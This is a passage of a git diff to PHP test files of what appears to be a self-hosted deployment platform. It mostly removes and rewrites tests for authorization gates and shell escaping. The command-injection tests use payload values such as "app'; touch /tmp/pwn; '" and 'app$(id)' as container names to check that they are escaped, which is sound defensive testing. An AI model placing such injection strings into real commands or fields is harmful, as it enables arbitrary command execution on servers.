application"/');
-
- $portsExposesControls = str($generalView)
- ->after("@if (\$isStatic || \$buildPack === 'static')")
- ->before('toBe(3)
- ->and($portsExposesControls->substrCount('canGate="update" :canResource="$application"'))->toBe(3);
-});
-
-it('keeps mutable Livewire components behind authorization checks', function (string $path, array $requiredNeedles) {
- $source = file_get_contents(base_path($path));
-
- foreach ($requiredNeedles as $needle) {
- expect($source)->toContain($needle);
- }
-})->with([
- 'storage resources' => [
- 'app/Livewire/Storage/Resources.php',
- ['AuthorizesRequests', "authorize('update'", "authorize('view'"],
- ],
- 'postgres init script editor' => [
- 'app/Livewire/Project/Database/InitScript.php',
- ['AuthorizesRequests', "authorize('update'"],
- ],
- 'execute container command' => [
- 'app/Livewire/Project/Shared/ExecuteContainerCommand.php',
- ['AuthorizesRequests', "authorize('view'", "authorize('canAccessTerminal'"],
- ],
- 'terminal' => [
- 'app/Livewire/Project/Shared/Terminal.php',
- ['AuthorizesRequests', "authorize('view'", "authorize('canAccessTerminal'"],
- ],
- 'volume backup settings' => [
- 'app/Livewire/Project/Shared/Storages/VolumeBackups.php',
- ['AuthorizesRequests', "authorize('view', \$this->resource)", "authorize('update', \$this->resource)"],
- ],
-]);
-
-it('authorizes every volume backup form control', function (string $path, array $controlPatterns) {
- $source = file_get_contents(base_path($path));
-
- foreach ($controlPatterns as $controlPattern) {
- expect($source)->toMatch($controlPattern);
- }
-})->with([
- 'retention controls' => [
- 'resources/views/livewire/project/shared/storages/volume-backups/retention.blade.php',
- [
- '/]*id="retentionAmountLocally")(?=[^>]*canGate="update")(?=[^>]*:canResource="\$resource")[^>]*\/\>/s',
- '/]*id="retentionDaysLocally")(?=[^>]*canGate="update")(?=[^>]*:canResource="\$resource")[^>]*\/\>/s',
- '/]*id="retentionMaxStorageLocally")(?=[^>]*canGate="update")(?=[^>]*:canResource="\$resource")[^>]*\/\>/s',
- '/]*id="retentionAmountS3")(?=[^>]*canGate="update")(?=[^>]*:canResource="\$resource")[^>]*\/\>/s',
- '/]*id="retentionDaysS3")(?=[^>]*canGate="update")(?=[^>]*:canResource="\$resource")[^>]*\/\>/s',
- '/]*id="retentionMaxStorageS3")(?=[^>]*canGate="update")(?=[^>]*:canResource="\$resource")[^>]*\/\>/s',
- ],
- ],
- 'S3 controls' => [
- 'resources/views/livewire/project/shared/storages/volume-backups/s3.blade.php',
- [
- '/]*wire:click="toggleS3")(?=[^>]*canGate="update")(?=[^>]*:canResource="\$resource")[^>]*>\s*Enable S3\s*<\/x-forms\.button>/s',
- '/]*wire:click="toggleS3")(?=[^>]*canGate="update")(?=[^>]*:canResource="\$resource")[^>]*>\s*Disable S3\s*<\/x-forms\.button>/s',
- '/user\(\)\?->can\(\'update\', \$resource\)"/',
- ],
- ],
- 'service domains controls' => [
- 'resources/views/livewire/project/service/domains.blade.php',
- [
- '/]*canGate="update")(?=[^>]*:canResource="\$service")(?=[^>]*id="newServiceApplicationId")[^>]*>/s',
- '/@can\(\'update\', \$service\)[\s\S]*?]*canGate="update")(?=[^>]*:canResource="\$service")[^>]*>[\s\S]*?]*canGate="update")(?=[^>]*:canResource="\$service")(?=[^>]*wire:click="generateDomain")[^>]*>/s',
- '/]*canGate="update")(?=[^>]*:canResource="\$service")(?=[^>]*type="submit")[^>]*>/s',
- ],
- ],
- 'postgres public access control' => [
- 'resources/views/livewire/project/database/postgresql/general.blade.php',
- [
- '/user\(\)->can\(\'update\', \$database\)" canGate="update" :canResource="\$database" :options=/',
- ],
- ],
- 'redis public access control' => [
- 'resources/views/livewire/project/database/redis/general.blade.php',
- ['/ [
- 'resources/views/livewire/project/database/mongodb/general.blade.php',
- ['/ [
- 'resources/views/livewire/project/database/clickhouse/general.blade.php',
- ['/ [
- 'resources/views/livewire/project/database/mariadb/general.blade.php',
- ['/ [
- 'resources/views/livewire/project/database/dragonfly/general.blade.php',
- ['/ [
- 'resources/views/livewire/project/database/mysql/general.blade.php',
- ['/ [
- 'resources/views/livewire/project/database/keydb/general.blade.php',
- ['/ 'public'])
->assertSet('build_pack', 'railpack');
});
-
- test('public repository flow keeps railpack available after branch lookup', function () {
- Livewire::test(PublicGitRepository::class, ['type' => 'public'])
- ->set('branchFound', true)
- ->assertSeeInOrder(['Railpack', 'Nixpacks']);
- });
-
- test('deploy key repository flow shows railpack without beta label', function () {
- Livewire::test(GithubPrivateRepositoryDeployKey::class, ['type' => 'private-deploy-key'])
- ->set('current_step', 'repository')
- ->assertSee('Railpack')
- ->assertDontSee('Railpack (Beta)')
- ->assertDontSee('Railpack (beta)');
- });
});
diff --git a/tests/Feature/PersistentStorageVolumesLayoutTest.php b/tests/Feature/PersistentStorageVolumesLayoutTest.php
index c24d790379..ad9cb59766 100644
--- a/tests/Feature/PersistentStorageVolumesLayoutTest.php
+++ b/tests/Feature/PersistentStorageVolumesLayoutTest.php
@@ -24,16 +24,6 @@ use Livewire\Livewire;
uses(RefreshDatabase::class);
-it('keeps nested storage component keys stable when mounts are added or deleted', function () {
- $view = file_get_contents(resource_path('views/livewire/project/service/storage.blade.php'));
-
- expect($view)
- ->toContain('wire:key="volumes-{{ $resource->id }}"')
- ->toContain('wire:key="svc-volumes-{{ $resource->id }}"')
- ->not->toContain('wire:key="volumes-{{ $resource->id }}-{{ $this->volumeCount }}"')
- ->not->toContain('wire:key="svc-volumes-{{ $resource->id }}-{{ $this->volumeCount }}"');
-});
-
beforeEach(function () {
$this->withoutVite();
@@ -118,28 +108,6 @@ it('creates named Docker volumes without a source path in swarm mode', function
expect($application->persistentStorages()->first()->host_path)->toBeNull();
});
-it('declares explicit authorization on the changed storage controls', function () {
- $view = file_get_contents(resource_path('views/livewire/project/shared/storages/all.blade.php'));
-
- preg_match(
- '//',
- $view,
- $previewSuffixListbox
- );
-
- expect($previewSuffixListbox[0] ?? '')
- ->toContain('canGate="update"')
- ->toContain(':canResource="$resource"');
-
- $backupAction = '/Backup<\/x-table\.row-action>/';
- preg_match('/@if \(\$canUpdate\)\s*/s', $view, $canUpdateBlock);
- preg_match('/@can\(\'update\', \$resource\)(.*?)@endcan/s', $view, $canBlock);
-
- expect(preg_match_all($backupAction, $view))->toBe(3)
- ->and(preg_match_all($backupAction, $canUpdateBlock[0] ?? ''))->toBe(1)
- ->and(preg_match_all($backupAction, $canBlock[0] ?? ''))->toBe(2);
-});
-
it('creates named volumes without a host path in swarm mode', function () {
[$application] = createApplicationWithVolume();
$application->persistentStorages()->delete();
diff --git a/tests/Feature/ProjectAndEnvironmentSettingsButtonTest.php b/tests/Feature/ProjectAndEnvironmentSettingsButtonTest.php
index ec7f1423d0..fde9b36efd 100644
--- a/tests/Feature/ProjectAndEnvironmentSettingsButtonTest.php
+++ b/tests/Feature/ProjectAndEnvironmentSettingsButtonTest.php
@@ -1,13 +1,11 @@
environment = $this->project->environments()->firstOrFail();
});
-test('project show page header links to project settings', function () {
- $editUrl = route('project.edit', ['project_uuid' => $this->project->uuid]);
-
- Livewire::test(ProjectShow::class, ['project_uuid' => $this->project->uuid])
- ->assertSee('Open settings for Test Project', false)
- ->assertSee('Project settings', false)
- ->assertSeeHtml($editUrl);
-});
-
-test('environment resources page header links to environment settings', function () {
- $editUrl = route('project.environment.edit', [
- 'project_uuid' => $this->project->uuid,
- 'environment_uuid' => $this->environment->uuid,
- ]);
-
- $this->get(route('project.resource.index', [
- 'project_uuid' => $this->project->uuid,
- 'environment_uuid' => $this->environment->uuid,
- ]))
- ->assertSuccessful()
- ->assertSee('Open settings for '.$this->environment->name, false)
- ->assertSee('Environment settings', false)
- ->assertSee($editUrl, false);
-});
-
test('empty environment resources page header links to the canvas', function () {
$canvasUrl = route('project.environment.canvas', [
'project_uuid' => $this->project->uuid,
diff --git a/tests/Feature/ProxyAcmeCertificateUiTest.php b/tests/Feature/ProxyAcmeCertificateUiTest.php
deleted file mode 100644
index f3fab3d44b..0000000000
--- a/tests/Feature/ProxyAcmeCertificateUiTest.php
+++ /dev/null
@@ -1,26 +0,0 @@
-toContain('submitAction="deleteTraefikCertificate')
- ->toContain("@can('update', \$server)")
- ->and($component)
- ->toContain("\$this->authorize('update', \$this->server)");
-});
-
-it('uses bounded reads and atomic restricted writes for the ACME file', function () {
- $reader = file_get_contents(app_path('Actions/Proxy/GetTraefikCertificates.php'));
- $writer = file_get_contents(app_path('Actions/Proxy/SaveTraefikAcmeFile.php'));
-
- expect($reader)
- ->toContain('MAX_FILE_SIZE_BYTES')
- ->toContain('head -c')
- ->toContain('base64')
- ->and($writer)
- ->toContain('umask 077')
- ->toContain('chmod 600')
- ->toContain('mv --');
-});
diff --git a/tests/Feature/PullChangelogTest.php b/tests/Feature/PullChangelogTest.php
index faadfb2cee..81d01790bd 100644
--- a/tests/Feature/PullChangelogTest.php
+++ b/tests/Feature/PullChangelogTest.php
@@ -55,18 +55,3 @@ test('PullChangelog fetches from the configured releases_url and writes the chan
expect($data['entries'])->toHaveCount(1)
->and($data['entries'][0]['tag_name'])->toBe('v9.9.9');
});
-
-test('PullChangelog skips draft releases', function () {
- config(['constants.coolify.releases_url' => 'https://example.test/releases.json']);
-
- Http::fake([
- 'https://example.test/releases.json' => Http::response(fakeReleasesPayload(), 200),
- ]);
-
- (new PullChangelog)->handle();
-
- $data = json_decode(File::get(base_path('changelogs/1999-01.json')), true);
-
- $tags = array_column($data['entries'], 'tag_name');
- expect($tags)->not->toContain('v9.9.8-draft');
-});
diff --git a/tests/Feature/RedisFamilyPasswordComposeEscapingTest.php b/tests/Feature/RedisFamilyPasswordComposeEscapingTest.php
index 103b16c03b..2ba03b05d8 100644
--- a/tests/Feature/RedisFamilyPasswordComposeEscapingTest.php
+++ b/tests/Feature/RedisFamilyPasswordComposeEscapingTest.php
@@ -92,10 +92,3 @@ test('dragonfly start command keeps dollars literal for exact password variables
expect(redisFamilyStartCommand(new StartDragonfly, $dragonfly))
->toBe("dragonfly --requirepass 'p4\$\$\$\$word'");
});
-
-test('keydb and dragonfly healthchecks use the compose-escaped password', function () {
- expect(file_get_contents(__DIR__.'/../../app/Actions/Database/StartKeydb.php'))
- ->toContain("'CMD', 'keydb-cli', '--pass', \$this->resolvedRedisPassword, 'ping'");
- expect(file_get_contents(__DIR__.'/../../app/Actions/Database/StartDragonfly.php'))
- ->toContain("'CMD', 'redis-cli', '-a', \$this->resolvedRedisPassword, 'ping'");
-});
diff --git a/tests/Feature/ResourcePageTitleTest.php b/tests/Feature/ResourcePageTitleTest.php
index a2c36b5e7f..0d78ee7c30 100644
--- a/tests/Feature/ResourcePageTitleTest.php
+++ b/tests/Feature/ResourcePageTitleTest.php
@@ -46,23 +46,6 @@ it('shows the source name and organization on the source page', function () {
$response->assertSee('GitHub App for coollabsio');
});
-it('renders the team, notification, and key settings pages', function () {
- $team = $this->get(route('team.index'));
- $team->assertSuccessful();
- $team->assertSee('Manage your team, members, and access settings.');
- $team->assertSee('New team');
-
- $notifications = $this->get(route('notifications.email'));
- $notifications->assertSuccessful();
- $notifications->assertSee('Configure how your team receives deployment and system alerts.');
-
- $keys = $this->get(route('security.private-key.index'));
- $keys->assertSuccessful();
- $keys->assertSee('Manage SSH keys, cloud credentials, and API access tokens.');
- $keys->assertSee('Private Keys');
- $keys->assertSee('New private key');
-});
-
it('shows the destination name and network server on the destination page', function () {
$server = Server::factory()->create(['team_id' => $this->team->id, 'name' => 'prod-server']);
$destination = StandaloneDocker::query()->where('server_id', $server->id)->firstOrFail();
diff --git a/tests/Feature/ResourcePermissionCalloutTest.php b/tests/Feature/ResourcePermissionCalloutTest.php
index 87ca23dd7e..f3351c63ee 100644
--- a/tests/Feature/ResourcePermissionCalloutTest.php
+++ b/tests/Feature/ResourcePermissionCalloutTest.php
@@ -34,7 +34,7 @@ function resourcePermissionCalloutApplicationFor(string $role): Application
]);
}
-it('shows one red insufficient permissions callout for resource operations when update is denied', function () {
+it('shows one insufficient permissions callout for resource operations when update is denied', function () {
$application = resourcePermissionCalloutApplicationFor('member');
$component = Livewire::test(ResourceOperations::class, ['resource' => $application])
@@ -45,12 +45,10 @@ it('shows one red insufficient permissions callout for resource operations when
->assertDontSee("You don't have permission to clone resources")
->assertDontSee("You don't have permission to move resources");
- expect(substr_count($component->html(), 'Insufficient permissions'))->toBe(1)
- ->and($component->html())->toContain('bg-red-50')
- ->and($component->html())->not->toContain('bg-warning-50');
+ expect(substr_count($component->html(), 'Insufficient permissions'))->toBe(1);
});
-it('shows the red insufficient permissions callout for tags when update is denied', function () {
+it('shows the insufficient permissions callout for tags when update is denied', function () {
$application = resourcePermissionCalloutApplicationFor('member');
$component = Livewire::test(Tags::class, ['resource' => $application])
@@ -59,7 +57,5 @@ it('shows the red insufficient permissions callout for tags when update is denie
->assertDontSee('Access Restricted')
->assertDontSee("You don't have permission to manage tags");
- expect(substr_count($component->html(), 'Insufficient permissions'))->toBe(1)
- ->and($component->html())->toContain('bg-red-50')
- ->and($component->html())->not->toContain('bg-warning-50');
+ expect(substr_count($component->html(), 'Insufficient permissions'))->toBe(1);
});
diff --git a/tests/Feature/ResponsiveCheckboxLayoutTest.php b/tests/Feature/ResponsiveCheckboxLayoutTest.php
index 9e5904e701..90a47ac4f6 100644
--- a/tests/Feature/ResponsiveCheckboxLayoutTest.php
+++ b/tests/Feature/ResponsiveCheckboxLayoutTest.php
@@ -91,37 +91,6 @@ function assertResponsiveCheckboxMarkup($response): void
expect($response->getContent())->not->toContain('min-w-fit');
}
-it('renders responsive checkbox classes on the application configuration page', function () {
- $response = $this->get(route('project.application.configuration', [
- 'project_uuid' => $this->project->uuid,
- 'environment_uuid' => $this->environment->uuid,
- 'application_uuid' => $this->application->uuid,
- ]));
-
- $response->assertSuccessful();
- $response->assertSee('Builder selection');
- $response->assertSee('application-mobile-actions');
- $response->assertSee('application-mobile-stop-trigger');
- $response->assertSee('application-mobile-restart-trigger');
- $response->assertSee('wire:click="deploy"', false);
- $response->assertSee('wire:click="force_deploy_without_cache"', false);
- $response->assertDontSee('Confirm Application Deployment?');
- $response->assertSee('Confirm Application Restart?');
- $response->assertDontSee('Confirm Application Force Deployment?');
- $response->assertSee(route('project.application.deployment.index', [
- 'project_uuid' => $this->project->uuid,
- 'environment_uuid' => $this->environment->uuid,
- 'application_uuid' => $this->application->uuid,
- ]));
- $response->assertSee(route('project.application.environment-variables', [
- 'project_uuid' => $this->project->uuid,
- 'environment_uuid' => $this->environment->uuid,
- 'application_uuid' => $this->application->uuid,
- ]));
-
- assertResponsiveCheckboxMarkup($response);
-});
-
it('renders responsive checkbox classes on the server page', function () {
$response = $this->get(route('server.show', [
'server_uuid' => $this->server->uuid,
diff --git a/tests/Feature/ReverbAndTerminalPackagingTest.php b/tests/Feature/ReverbAndTerminalPackagingTest.php
index 185108a66a..92709a0469 100644
--- a/tests/Feature/ReverbAndTerminalPackagingTest.php
+++ b/tests/Feature/ReverbAndTerminalPackagingTest.php
@@ -23,14 +23,6 @@ it('uses Reverb as the first-party broadcast server', function () {
->and(file_exists(config_path('reverb.php')))->toBeTrue();
});
-it('does not send server-side broadcasts to the browser-facing Pusher host', function () {
- $reverbConnection = Str::between(file_get_contents(config_path('broadcasting.php')), "'reverb' => [", "'pusher' => [");
-
- expect($reverbConnection)
- ->not->toContain('PUSHER_HOST')
- ->not->toContain("env('PUSHER_SCHEME'");
-});
-
it('keeps working with environment variables from installs that used the realtime container', function (array $environment, string $connection, string $expectedHost) {
$previous = [];
@@ -163,22 +155,6 @@ it('uses the browser host and page TLS mode for development Reverb connections',
->toContain('PUSHER_HOST: "${PUSHER_HOST:-}"');
});
-it('proxies Reverb and terminal websocket traffic to the Coolify app container', function () {
- $serverModel = file_get_contents(app_path('Models/Server.php'));
-
- expect($serverModel)
- ->toContain("'rule' => \"Host(`{\$host}`) && PathPrefix(`/app`)\"")
- ->toContain("'rule' => \"Host(`{\$host}`) && PathPrefix(`/apps`)\"")
- ->toContain("'rule' => \"Host(`{\$host}`) && PathPrefix(`/terminal/ws`)\"")
- ->toContain("'url' => 'http://coolify:6001'")
- ->toContain("'url' => 'http://coolify:6002'")
- ->toContain('reverse_proxy coolify:6001')
- ->toContain('reverse_proxy coolify:6002')
- ->not->toContain('http://coolify-realtime:6001')
- ->not->toContain('http://coolify-realtime:6002')
- ->not->toContain('reverse_proxy coolify-realtime');
-});
-
it('uses Pusher environment keys for self-hosted Reverb compatibility', function () {
$files = [
'.env.production',
diff --git a/tests/Feature/ScheduledTaskCrossTeamIdorTest.php b/tests/Feature/ScheduledTaskCrossTeamIdorTest.php
index bb5792ca07..715f3287e0 100644
--- a/tests/Feature/ScheduledTaskCrossTeamIdorTest.php
+++ b/tests/Feature/ScheduledTaskCrossTeamIdorTest.php
@@ -13,7 +13,7 @@ use App\Models\Team;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Gate;
-use Livewire\Attributes\Locked;
+use Livewire\Features\SupportLockedProperties\CannotUpdateLockedPropertyException;
use Livewire\Livewire;
uses(RefreshDatabase::class);
@@ -46,33 +46,25 @@ beforeEach(function () {
});
describe('ScheduledTask locked properties', function () {
- test('Show component task property has Locked attribute', function () {
- $property = new ReflectionProperty(Show::class, 'task');
- $attributes = $property->getAttributes(Locked::class);
+ test('rejects client updates to the task and resource identity', function (string $component, string $property) {
+ $ownTask = ScheduledTask::factory()->create([
+ 'team_id' => $this->attackerTeam->id,
+ 'application_id' => $this->application->id,
+ ]);
+ $victimTask = ScheduledTask::factory()->create(['team_id' => $this->victimTeam->id]);
- expect($attributes)->not->toBeEmpty();
- });
+ $parameters = $component === Show::class
+ ? ['resource' => $this->application, 'task' => $ownTask]
+ : ['taskId' => $ownTask->id];
- test('Show component resource property has Locked attribute', function () {
- $property = new ReflectionProperty(Show::class, 'resource');
- $attributes = $property->getAttributes(Locked::class);
-
- expect($attributes)->not->toBeEmpty();
- });
-
- test('Executions component task id property has Locked attribute', function () {
- $property = new ReflectionProperty(Executions::class, 'taskId');
- $attributes = $property->getAttributes(Locked::class);
-
- expect($attributes)->not->toBeEmpty();
- });
-
- test('Executions component selected execution property has Locked attribute', function () {
- $property = new ReflectionProperty(Executions::class, 'selectedExecution');
- $attributes = $property->getAttributes(Locked::class);
-
- expect($attributes)->not->toBeEmpty();
- });
+ expect(fn () => Livewire::test($component, $parameters)->set($property, $victimTask->id))
+ ->toThrow(CannotUpdateLockedPropertyException::class);
+ })->with([
+ 'show task' => [Show::class, 'task'],
+ 'show resource' => [Show::class, 'resource'],
+ 'executions task id' => [Executions::class, 'taskId'],
+ 'executions selected execution' => [Executions::class, 'selectedExecution'],
+ ]);
});
describe('ScheduledTask cross-team access', function () {
diff --git a/tests/Feature/Security/CloudInitScriptsTest.php b/tests/Feature/Security/CloudInitScriptsTest.php
index 2db7575b8d..df12dc10ad 100644
--- a/tests/Feature/Security/CloudInitScriptsTest.php
+++ b/tests/Feature/Security/CloudInitScriptsTest.php
@@ -1,7 +1,6 @@
$this->team]);
});
-test('cloud-init scripts page describes scripts for every cloud provider', function () {
- Livewire::test(CloudInitScripts::class)
- ->assertSee('Reusable initialization scripts for cloud servers.')
- ->assertDontSee('Currently working only with Hetzner');
-});
-
-test('cloud-init script form does not show a cancel button in the modal', function () {
- Livewire::test(CloudInitScriptForm::class)
- ->assertSee('Create script')
- ->assertDontSee('Cancel');
-});
-
-test('cloud-init script cards open the modal editor without inline actions or created time', function () {
- $script = CloudInitScript::query()->create([
- 'team_id' => $this->team->id,
- 'name' => 'Docker Host Setup',
- 'script' => "#cloud-config\npackages:\n - htop\n",
- ]);
-
- Livewire::test(CloudInitScripts::class)
- ->assertSee('Docker Host Setup')
- ->assertSee('Edit Cloud-Init Script')
- ->assertDontSee(route('security.cloud-init-scripts.show', ['cloud_init_script_uuid' => $script->uuid]), false)
- ->assertDontSee('Created')
- ->assertSee('Delete');
-});
-
test('cloud-init script detail page shows editable script fields', function () {
$script = CloudInitScript::query()->create([
'team_id' => $this->team->id,
diff --git a/tests/Feature/Security/CloudProviderTokenFormTest.php b/tests/Feature/Security/CloudProviderTokenFormTest.php
index f1e6af5cde..44b68e8d3a 100644
--- a/tests/Feature/Security/CloudProviderTokenFormTest.php
+++ b/tests/Feature/Security/CloudProviderTokenFormTest.php
@@ -55,15 +55,6 @@ test('adding a digitalocean token from a modal closes the modal and refreshes di
&& data_get($dispatch, 'to') === 'security.cloud-provider-tokens'))->toBeTrue();
});
-test('security cloud token form lets users choose every supported provider', function () {
- Livewire::test(CloudProviderTokenForm::class)
- ->assertSee('Provider')
- ->assertSee('Hetzner')
- ->assertSee('DigitalOcean')
- ->assertSee('Vultr')
- ->assertSee('Hostinger');
-});
-
test('adding a hostinger token from a modal validates and refreshes hostinger token selectors', function () {
Http::fake([
'https://developers.hostinger.com/api/vps/v1/virtual-machines' => Http::response([], 200),
diff --git a/tests/Feature/Security/CloudProviderTokenShowTest.php b/tests/Feature/Security/CloudProviderTokenShowTest.php
index 822b242f64..31484e6414 100644
--- a/tests/Feature/Security/CloudProviderTokenShowTest.php
+++ b/tests/Feature/Security/CloudProviderTokenShowTest.php
@@ -1,7 +1,6 @@
actingAs($this->user);
});
-test('saved cloud token rows render frontend-only modal editors', function () {
- $token = CloudProviderToken::factory()->create([
- 'team_id' => $this->team->id,
- 'name' => 'Production Hetzner',
- ]);
-
- Livewire::test(CloudProviderTokens::class)
- ->assertSee('Edit Cloud Token')
- ->assertSee('Production Hetzner')
- ->assertDontSee(route('security.cloud-tokens.show', ['cloud_token_uuid' => $token->uuid]), false);
-});
-
test('cloud token detail page shows editable name and description fields', function () {
$token = CloudProviderToken::factory()->create([
'team_id' => $this->team->id,
diff --git a/tests/Feature/Security/CommandInjectionSecurityTest.php b/tests/Feature/Security/CommandInjectionSecurityTest.php
index 5c6812e4e6..f52aad9b50 100644
--- a/tests/Feature/Security/CommandInjectionSecurityTest.php
+++ b/tests/Feature/Security/CommandInjectionSecurityTest.php
@@ -1,13 +1,29 @@
0]);
+ config(['app.maintenance.store' => 'array', 'constants.ssh.mux_enabled' => false]);
+ $team = Team::factory()->create();
+ $server = Server::factory()->create([
+ 'team_id' => $team->id,
+ 'private_key_id' => PrivateKey::factory()->create(['team_id' => $team->id])->id,
+ ]);
+ $destination = StandaloneDocker::query()->where('server_id', $server->id)->firstOrFail();
+ $project = Project::factory()->create(['team_id' => $team->id]);
+ $service = Service::factory()->create([
+ 'environment_id' => Environment::factory()->create(['project_id' => $project->id])->id,
+ 'server_id' => $server->id,
+ 'destination_id' => $destination->id,
+ 'destination_type' => $destination->getMorphClass(),
+ 'docker_compose_raw' => "services:\n app:\n image: busybox:latest\n",
+ ]);
+ $service->parse();
+ $serviceApplication = $service->applications()->firstOrFail();
+ $payload = "app'; touch /tmp/pwn; '";
+ $serviceApplication->name = $payload;
- expect($source)->toContain('escapeshellarg($workdir)')
- ->and($source)->toContain('escapeshellarg($composeFile)')
- ->and($source)->toContain('escapeshellarg($service->uuid)')
- ->and($source)->toContain('escapeshellarg($composeServiceName)');
+ $script = RemoteProcessCommand::read(DeployServiceApplication::run($serviceApplication, pullLatestImages: true));
+
+ $compose = '--project-directory '.escapeshellarg($service->workdir()).' -f '.escapeshellarg($service->workdir().'/docker-compose.yml').' --project-name '.escapeshellarg($service->uuid);
+ expect($script)
+ ->toContain("docker compose {$compose} pull ".escapeshellarg($payload).' < /dev/null')
+ ->toContain("docker compose {$compose} up -d --no-deps ".escapeshellarg($payload).' < /dev/null')
+ ->not->toContain("pull {$payload}")
+ ->not->toContain("--no-deps {$payload}");
});
test('predefined network connect command escapes the container name', function () {
@@ -953,31 +995,63 @@ describe('service application lifecycle command escaping', function () {
->toContain(" 'app$(id)-svc-uuid' | grep -qxF 'coolify' || docker network connect --alias 'app$(id)-svc-uuid' 'coolify' 'app$(id)-svc-uuid' || echo 'Warning: Could not connect app$(id) to the coolify network.'");
});
- test('service application restart and stop actions escape container names', function (string $path) {
- $source = file_get_contents(app_path($path));
+ test('docker status helper escapes container names', function (bool $isSwarm, string $expected) {
+ $server = (new Server)->forceFill(['id' => 1]);
+ $server->setRelation('settings', (new ServerSetting)->forceFill(['is_swarm_manager' => $isSwarm, 'is_swarm_worker' => false]));
- expect($source)->toContain('escapeshellarg($serviceApplication->name');
+ expect(buildContainerStatusCommand($server, 'app$(id)'))->toBe($expected);
})->with([
- 'restart action' => 'Actions/Service/RestartServiceApplication.php',
- 'stop action' => 'Actions/Service/StopServiceApplication.php',
+ 'docker' => [false, "docker inspect --format '{{json .}}' 'app\$(id)'"],
+ 'swarm' => [true, "docker service ls --filter 'name=app\$(id)' --format '{{json .}}' "],
]);
- test('docker status helper escapes container names', function () {
- $source = file_get_contents(base_path('bootstrap/helpers/docker.php'));
-
- expect($source)->toContain('function buildContainerStatusCommand')
- ->and($source)->toContain('escapeshellarg("name={$container_id}")')
- ->and($source)->toContain('escapeshellarg($container_id)');
- });
-
test('application deployment shell commands escape the generated container name', function () {
- $source = file_get_contents(app_path('Jobs/ApplicationDeploymentJob.php'));
+ $containerName = "app'; touch /tmp/pwn; '";
+ $escapedContainerName = escapeshellarg($containerName);
+ $commands = collect();
+ $job = new class($commands) extends ApplicationDeploymentJob
+ {
+ public function __construct(public Collection $capturedCommands) {}
- expect($source)->toContain('$escapedContainerName = escapeshellarg($this->container_name)')
- ->and($source)->toContain("docker inspect --format='{{json .State.Health.Status}}' {\$escapedContainerName}")
- ->and($source)->toContain("docker inspect --format='{{json .State.Health.Log}}' {\$escapedContainerName}")
- ->and($source)->toContain('docker logs -n 100 {$escapedContainerName}')
- ->and($source)->toContain('dockerStopCommand($timeout, escapeshellarg($containerName), $this->server)');
+ public function execute_remote_command(...$commands)
+ {
+ foreach ($commands as $command) {
+ $this->capturedCommands->push(data_get($command, 'command') ?? $command[0]);
+ }
+ }
+ };
+ $application = (new Application)->forceFill([
+ 'health_check_enabled' => true,
+ 'health_check_start_period' => 0,
+ 'health_check_retries' => 1,
+ 'health_check_interval' => 0,
+ ]);
+ $application->setRelation('settings', (new ApplicationSetting)->forceFill(['stop_grace_period' => 10]));
+ $server = (new Server)->forceFill(['id' => 1]);
+ $server->setRelation('settings', (new ServerSetting)->forceFill(['is_swarm_manager' => false, 'is_swarm_worker' => false]));
+ $queue = Mockery::mock(ApplicationDeploymentQueue::class)->makePartial();
+ $queue->shouldReceive('addLogEntry');
+ foreach ([
+ 'application' => $application,
+ 'application_deployment_queue' => $queue,
+ 'server' => $server,
+ 'container_name' => $containerName,
+ 'deployment_uuid' => 'deploy-uuid',
+ 'saved_outputs' => collect(),
+ ] as $property => $value) {
+ (new ReflectionProperty(ApplicationDeploymentJob::class, $property))->setValue($job, $value);
+ }
+
+ (new ReflectionMethod(ApplicationDeploymentJob::class, 'health_check'))->invoke($job);
+ (new ReflectionMethod(ApplicationDeploymentJob::class, 'query_logs'))->invoke($job);
+ (new ReflectionMethod(ApplicationDeploymentJob::class, 'graceful_shutdown_container'))->invoke($job, $containerName);
+
+ expect($commands->all())
+ ->toContain("docker inspect --format='{{json .State.Health.Status}}' {$escapedContainerName}")
+ ->toContain("docker inspect --format='{{json .State.Health.Log}}' {$escapedContainerName}")
+ ->toContain("docker logs -n 100 {$escapedContainerName}")
+ ->toContain(dockerStopCommand(10, $escapedContainerName, $server))
+ ->and($commands->implode("\n"))->not->toContain(" {$containerName}");
});
});
diff --git a/tests/Feature/Security/IntegrationTokenFormTest.php b/tests/Feature/Security/IntegrationTokenFormTest.php
index 6774b3ebe5..855e141a6e 100644
--- a/tests/Feature/Security/IntegrationTokenFormTest.php
+++ b/tests/Feature/Security/IntegrationTokenFormTest.php
@@ -200,29 +200,6 @@ test('integration tokens page lists saved provider and capabilities', function (
->assertSee('DNS');
});
-test('cloudflare dns scope guidance and token creation link are shown', function () {
- Livewire::test(IntegrationTokenForm::class)
- ->set('capabilities', ['dns'])
- ->assertSee('Zone - DNS - Edit')
- ->assertSee('Zone - Zone - Read')
- ->assertSeeHtml(e(IntegrationToken::cloudflareTokenTemplateUrl(['dns'])));
-});
-
-test('saved integration token rows render modal editors with a gear button', function () {
- IntegrationToken::query()->create([
- 'team_id' => $this->team->id,
- 'provider' => 'cloudflare',
- 'name' => 'Production DNS',
- 'token' => 'original-token',
- 'capabilities' => ['dns'],
- ]);
-
- Livewire::test(IntegrationTokens::class)
- ->assertSee('Edit Integration Token')
- ->assertSee('Production DNS')
- ->assertSeeHtml(':aria-label="`Edit ${tokenName}`"');
-});
-
test('an integration token can be rotated after validating its capabilities', function () {
Http::fake([
'https://api.cloudflare.com/client/v4/user/tokens/verify' => Http::response([
@@ -332,18 +309,6 @@ test('an invalid replacement does not rotate the integration token', function ()
expect($savedToken->fresh()->token)->toBe('original-token');
});
-test('new integration token form controls declare authorization matching server-side actions', function () {
- $editor = file_get_contents(resource_path('views/livewire/security/integration-token-editor.blade.php'));
- $form = file_get_contents(resource_path('views/livewire/security/integration-token-form.blade.php'));
-
- expect($editor)
- ->toMatch('/]*id="edit-automatic-dns")(?=[^>]*canGate="update")(?=[^>]*:canResource="\$integrationToken")[^>]*>/')
- ->toMatch('/]*wire:click="refreshZones")(?=[^>]*canGate="update")(?=[^>]*:canResource="\$integrationToken")[^>]*>/');
-
- expect($form)
- ->toMatch('/]*id="automatic-dns")(?=[^>]*canGate="create")(?=[^>]*:canResource="\\\\App\\\\Models\\\\IntegrationToken::class")[^>]*>/');
-});
-
function vaultIntegrationToken(Team $team, array $metadata = ['base_url' => 'https://example.com:8200']): IntegrationToken
{
return IntegrationToken::query()->create([
diff --git a/tests/Feature/Security/IntegrationTokenSecretProvidersTest.php b/tests/Feature/Security/IntegrationTokenSecretProvidersTest.php
index 794195504a..8cdc89a1d9 100644
--- a/tests/Feature/Security/IntegrationTokenSecretProvidersTest.php
